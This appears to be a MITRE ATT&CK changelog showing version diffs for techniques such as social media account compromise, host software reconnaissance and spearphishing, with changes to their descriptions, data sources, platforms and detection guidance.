| x_mitre_contributors | Bobby, Filar, Elastic |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise soc | t | 1 | Adversaries may compromise social media accounts that can be |
| > | ial media accounts that can be used during targeting. For op | > | used during targeting. For operations incorporating social | ||
| > | erations incorporating social engineering, the utilization o | > | engineering, the utilization of an online persona may be imp | ||
| > | f an online persona may be important. Rather than creating a | > | ortant. Rather than creating and cultivating social media pr | ||
| > | nd cultivating social media profiles (i.e. [Social Media Acc | > | ofiles (i.e. [Social Media Accounts](https://attack.mitre.or | ||
| > | ounts](https://attack.mitre.org/techniques/T1585/001)), adve | > | g/techniques/T1585/001)), adversaries may compromise existin | ||
| > | rsaries may compromise existing social media accounts. Utili | > | g social media accounts. Utilizing an existing persona may e | ||
| > | zing an existing persona may engender a level of trust in a | > | ngender a level of trust in a potential victim if they have | ||
| > | potential victim if they have a relationship, or knowledge o | > | a relationship, or knowledge of, the compromised persona. | ||
| > | f, the compromised persona. A variety of methods exist for | > | A variety of methods exist for compromising social media acc | ||
| > | compromising social media accounts, such as gathering crede | > | ounts, such as gathering credentials via [Phishing for Infor | ||
| > | ntials via [Phishing for Information](https://attack.mitre.o | > | mation](https://attack.mitre.org/techniques/T1598), purchasi | ||
| > | rg/techniques/T1598), purchasing credentials from third-part | > | ng credentials from third-party sites, or by brute forcing c | ||
| > | y sites, or by brute forcing credentials (ex: password reuse | > | redentials (ex: password reuse from breach credential dumps) | ||
| > | from breach credential dumps).(Citation: AnonHBGary) Prior | > | .(Citation: AnonHBGary) Prior to compromising social media a | ||
| > | to compromising social media accounts, adversaries may condu | > | ccounts, adversaries may conduct Reconnaissance to inform de | ||
| > | ct Reconnaissance to inform decisions about which accounts t | > | cisions about which accounts to compromise to further their | ||
| > | o compromise to further their operation. Personas may exist | > | operation. Personas may exist on a single site or across mu | ||
| > | on a single site or across multiple sites (ex: Facebook, Li | > | ltiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compro | ||
| > | nkedIn, Twitter, etc.). Compromised social media accounts ma | > | mised social media accounts may require additional developme | ||
| > | y require additional development, this could include filling | > | nt, this could include filling out or modifying profile info | ||
| > | out or modifying profile information, further developing so | > | rmation, further developing social networks, or incorporatin | ||
| > | cial networks, or incorporating photos. Adversaries can use | > | g photos. Adversaries can use a compromised social media pr | ||
| > | a compromised social media profile to create new, or hijack | > | ofile to create new, or hijack existing, connections to targ | ||
| > | existing, connections to targets of interest. These connect | > | ets of interest. These connections may be direct or may incl | ||
| > | ions may be direct or may include trying to connect through | > | ude trying to connect through others.(Citation: NEWSCASTER20 | ||
| > | others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSag | > | 14)(Citation: BlackHatRobinSage) Compromised profiles may be | ||
| > | e) Compromised profiles may be leveraged during other phases | > | leveraged during other phases of the adversary lifecycle, s | ||
| > | of the adversary lifecycle, such as during Initial Access ( | > | uch as during Initial Access (ex: [Spearphishing via Service | ||
| > | ex: [Spearphishing via Service](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1566/003)). | ||
| > | hniques/T1566/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 17:57:43.708000+00:00 | 2021-10-16 17:15:12.169000+00:00 |
| description | Before compromising a victim, adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
| x_mitre_data_sources[0] | Social media monitoring | Persona: Social Media |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create and cul | t | 1 | Adversaries may create and cultivate social media accounts t |
| > | tivate social media accounts that can be used during targeti | > | hat can be used during targeting. Adversaries can create soc | ||
| > | ng. Adversaries can create social media accounts that can be | > | ial media accounts that can be used to build a persona to fu | ||
| > | used to build a persona to further operations. Persona deve | > | rther operations. Persona development consists of the develo | ||
| > | lopment consists of the development of public information, p | > | pment of public information, presence, history and appropria | ||
| > | resence, history and appropriate affiliations.(Citation: NEW | > | te affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHa | ||
| > | SCASTER2014)(Citation: BlackHatRobinSage) For operations in | > | tRobinSage) For operations incorporating social engineering | ||
| > | corporating social engineering, the utilization of a persona | > | , the utilization of a persona on social media may be import | ||
| > | on social media may be important. These personas may be fic | > | ant. These personas may be fictitious or impersonate real pe | ||
| > | titious or impersonate real people. The persona may exist on | > | ople. The persona may exist on a single social media site or | ||
| > | a single social media site or across multiple sites (ex: Fa | > | across multiple sites (ex: Facebook, LinkedIn, Twitter, etc | ||
| > | cebook, LinkedIn, Twitter, etc.). Establishing a persona on | > | .). Establishing a persona on social media may require deve | ||
| > | social media may require development of additional document | > | lopment of additional documentation to make them seem real. | ||
| > | ation to make them seem real. This could include filling out | > | This could include filling out profile information, developi | ||
| > | profile information, developing social networks, or incorpo | > | ng social networks, or incorporating photos. Once a person | ||
| > | rating photos. Once a persona has been developed an advers | > | a has been developed an adversary can use it to create conne | ||
| > | ary can use it to create connections to targets of interest. | > | ctions to targets of interest. These connections may be dire | ||
| > | These connections may be direct or may include trying to co | > | ct or may include trying to connect through others.(Citation | ||
| > | nnect through others.(Citation: NEWSCASTER2014)(Citation: Bl | > | : NEWSCASTER2014)(Citation: BlackHatRobinSage) These account | ||
| > | ackHatRobinSage) These accounts may be leveraged during othe | > | s may be leveraged during other phases of the adversary life | ||
| > | r phases of the adversary lifecycle, such as during Initial | > | cycle, such as during Initial Access (ex: [Spearphishing via | ||
| > | Access (ex: [Spearphishing via Service](https://attack.mitre | > | Service](https://attack.mitre.org/techniques/T1566/003)). | ||
| > | .org/techniques/T1566/003)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 17:58:13.557000+00:00 | 2021-10-16 17:37:34.563000+00:00 |
| description | Before compromising a victim, adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
| x_mitre_data_sources[0] | Social media monitoring | Persona: Social Media |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Content |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's host s |
| > | tion about the victim's host software that can be used durin | > | oftware that can be used during targeting. Information about | ||
| > | g targeting. Information about installed software may includ | > | installed software may include a variety of details such as | ||
| > | e a variety of details such as types and versions on specifi | > | types and versions on specific hosts, as well as the presen | ||
| > | c hosts, as well as the presence of additional components th | > | ce of additional components that might be indicative of adde | ||
| > | at might be indicative of added defensive protections (ex: a | > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | ||
| > | ntivirus, SIEMs, etc.). Adversaries may gather this informa | > | saries may gather this information in various ways, such as | ||
| > | tion in various ways, such as direct collection actions via | > | direct collection actions via [Active Scanning](https://atta | ||
| > | [Active Scanning](https://attack.mitre.org/techniques/T1595) | > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | ||
| > | (ex: listening ports, server banners, user agent strings) o | > | banners, user agent strings) or [Phishing for Information](h | ||
| > | r [Phishing for Information](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | ||
| > | ques/T1598). Adversaries may also compromise sites then incl | > | lso compromise sites then include malicious content designed | ||
| > | ude malicious content designed to collect host information f | > | to collect host information from visitors.(Citation: ATT Sc | ||
| > | rom visitors.(Citation: ATT ScanBox) Information about the i | > | anBox) Information about the installed software may also be | ||
| > | nstalled software may also be exposed to adversaries via onl | > | exposed to adversaries via online or other accessible data s | ||
| > | ine or other accessible data sets (ex: job postings, network | > | ets (ex: job postings, network maps, assessment reports, res | ||
| > | maps, assessment reports, resumes, or purchase invoices). G | > | umes, or purchase invoices). Gathering this information may | ||
| > | athering this information may reveal opportunities for other | > | reveal opportunities for other forms of reconnaissance (ex: | ||
| > | forms of reconnaissance (ex: [Search Open Websites/Domains] | > | [Search Open Websites/Domains](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1593) or [Search Open | > | niques/T1593) or [Search Open Technical Databases](https://a | ||
| > | Technical Databases](https://attack.mitre.org/techniques/T15 | > | ttack.mitre.org/techniques/T1596)), establishing operational | ||
| > | 96)), establishing operational resources (ex: [Develop Capab | > | resources (ex: [Develop Capabilities](https://attack.mitre. | ||
| > | ilities](https://attack.mitre.org/techniques/T1587) or [Obta | > | org/techniques/T1587) or [Obtain Capabilities](https://attac | ||
| > | in Capabilities](https://attack.mitre.org/techniques/T1588)) | > | k.mitre.org/techniques/T1588)), and/or for initial access (e | ||
| > | , and/or for initial access (ex: [Supply Chain Compromise](h | > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1195) or [External Remot | > | ques/T1195) or [External Remote Services](https://attack.mit | ||
| > | e Services](https://attack.mitre.org/techniques/T1133)). | > | re.org/techniques/T1133)). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 03:53:39.162000+00:00 | 2021-10-17 16:33:19.596000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:36:17.133000+00:00 | 2021-03-29 16:05:00.456000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Firewall: Firewall Metadata |
| x_mitre_data_sources[1] | Azure activity logs | Firewall: Firewall Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Process: Process Creation |
| x_mitre_data_sources[3] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File monitoring | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-05 20:05:41.548000+00:00 | 2021-10-15 13:56:47.154000+00:00 |
| x_mitre_data_sources[0] | Binary file metadata | File: File Metadata |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may send spearphis | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | hing messages with a malicious attachment to elicit sensitiv | > | attachment to elicit sensitive information that can be used | ||
| > | e information that can be used during targeting. Spearphishi | > | during targeting. Spearphishing for information is an attem | ||
| > | ng for information is an attempt to trick targets into divul | > | pt to trick targets into divulging information, frequently c | ||
| > | ging information, frequently credentials or other actionable | > | redentials or other actionable information. Spearphishing fo | ||
| > | information. Spearphishing for information frequently invol | > | r information frequently involves social engineering techniq | ||
| > | ves social engineering techniques, such as posing as a sourc | > | ues, such as posing as a source with a reason to collect inf | ||
| > | e with a reason to collect information (ex: [Establish Accou | > | ormation (ex: [Establish Accounts](https://attack.mitre.org/ | ||
| > | nts](https://attack.mitre.org/techniques/T1585) or [Compromi | > | techniques/T1585) or [Compromise Accounts](https://attack.mi | ||
| > | se Accounts](https://attack.mitre.org/techniques/T1586)) and | > | tre.org/techniques/T1586)) and/or sending multiple, seemingl | ||
| > | /or sending multiple, seemingly urgent messages. All forms | > | y urgent messages. All forms of spearphishing are electroni | ||
| > | of spearphishing are electronically delivered social enginee | > | cally delivered social engineering targeted at a specific in | ||
| > | ring targeted at a specific individual, company, or industry | > | dividual, company, or industry. In this scenario, adversarie | ||
| > | . In this scenario, adversaries attach a file to the spearph | > | s attach a file to the spearphishing email and usually rely | ||
| > | ishing email and usually rely upon the recipient populating | > | upon the recipient populating information then returning the | ||
| > | information then returning the file.(Citation: Sophos Attach | > | file.(Citation: Sophos Attachment)(Citation: GitHub Phisher | ||
| > | ment)(Citation: GitHub Phishery) The text of the spearphishi | > | y) The text of the spearphishing email usually tries to give | ||
| > | ng email usually tries to give a plausible reason why the fi | > | a plausible reason why the file should be filled-in, such a | ||
| > | le should be filled-in, such as a request for information fr | > | s a request for information from a business associate. Adver | ||
| > | om a business associate. Adversaries may also use informatio | > | saries may also use information from previous reconnaissance | ||
| > | n from previous reconnaissance efforts (ex: [Search Open Web | > | efforts (ex: [Search Open Websites/Domains](https://attack. | ||
| > | sites/Domains](https://attack.mitre.org/techniques/T1593) or | > | mitre.org/techniques/T1593) or [Search Victim-Owned Websites | ||
| > | [Search Victim-Owned Websites](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1594)) to craft persu | ||
| > | hniques/T1594)) to craft persuasive and believable lures. | > | asive and believable lures. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:12:48.152000+00:00 | 2021-04-15 03:41:33.335000+00:00 |
| description | Before compromising a victim, adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_contributors[2] | Robert Simmons | Robert Simmons, @MalwareUtkonos |
| x_mitre_data_sources[0] | Mail server | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Email gateway | Network Traffic: Network Traffic Content |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Also consider enabling DMARC to verify the sender of emails.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Philip Winther | |
| x_mitre_data_sources | Network Traffic: Network Traffic Flow |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Al | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | l forms of spearphishing are electronically delivered social | > | rphishing may also involve social engineering techniques, su | ||
| > | engineering targeted at a specific individual, company, or | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | industry. In this case, the malicious emails contain links. | > | g are electronically delivered social engineering targeted a | ||
| > | Generally, the links will be accompanied by social engineeri | > | t a specific individual, company, or industry. In this case, | ||
| > | ng text and require the user to actively click or copy and p | > | the malicious emails contain links. Generally, the links wi | ||
| > | aste a URL into a browser, leveraging [User Execution](https | > | ll be accompanied by social engineering text and require the | ||
| > | ://attack.mitre.org/techniques/T1204). The visited website m | > | user to actively click or copy and paste a URL into a brows | ||
| > | ay compromise the web browser using an exploit, or the user | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | will be prompted to download applications, documents, zip fi | > | hniques/T1204). The visited website may compromise the web b | ||
| > | les, or even executables depending on the pretext for the em | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | ail in the first place. Adversaries may also include links t | > | nload applications, documents, zip files, or even executable | ||
| > | hat are intended to interact directly with an email reader, | > | s depending on the pretext for the email in the first place. | ||
| > | including embedded images intended to exploit the end system | > | Adversaries may also include links that are intended to int | ||
| > | directly or verify the receipt of an email (i.e. web bugs/w | > | eract directly with an email reader, including embedded imag | ||
| > | eb beacons). Links may also direct users to malicious applic | > | es intended to exploit the end system directly or verify the | ||
| > | ations designed to [Steal Application Access Token](https:/ | > | receipt of an email (i.e. web bugs/web beacons). Links may | ||
| > | /attack.mitre.org/techniques/T1528)s, like OAuth tokens, in | > | also direct users to malicious applications designed to [St | ||
| > | order to gain access to protected applications and informati | > | eal Application Access Token](https://attack.mitre.org/techn | ||
| > | on.(Citation: Trend Micro Pawn Storm OAuth 2017) | > | iques/T1528)s, like OAuth tokens, in order to gain access to | ||
| > | protected applications and information.(Citation: Trend Mic | ||||
| > | ro Pawn Storm OAuth 2017) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-18 01:53:39.818000+00:00 | 2021-04-14 14:38:42.715000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) |
| x_mitre_data_sources[0] | Packet capture | Application Log: Application Log Content |
| x_mitre_data_sources[1] | Web proxy | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[2] | Email gateway | Network Traffic: Network Traffic Flow |
| x_mitre_detection | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'} | |
| external_references | {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'} | |
| x_mitre_contributors | Philip Winther | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Detonation chamber | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_data_sources | DNS records | |
| x_mitre_data_sources | Mail server |
Current version: 1.1
Version changed from: 1.0 → 1.1
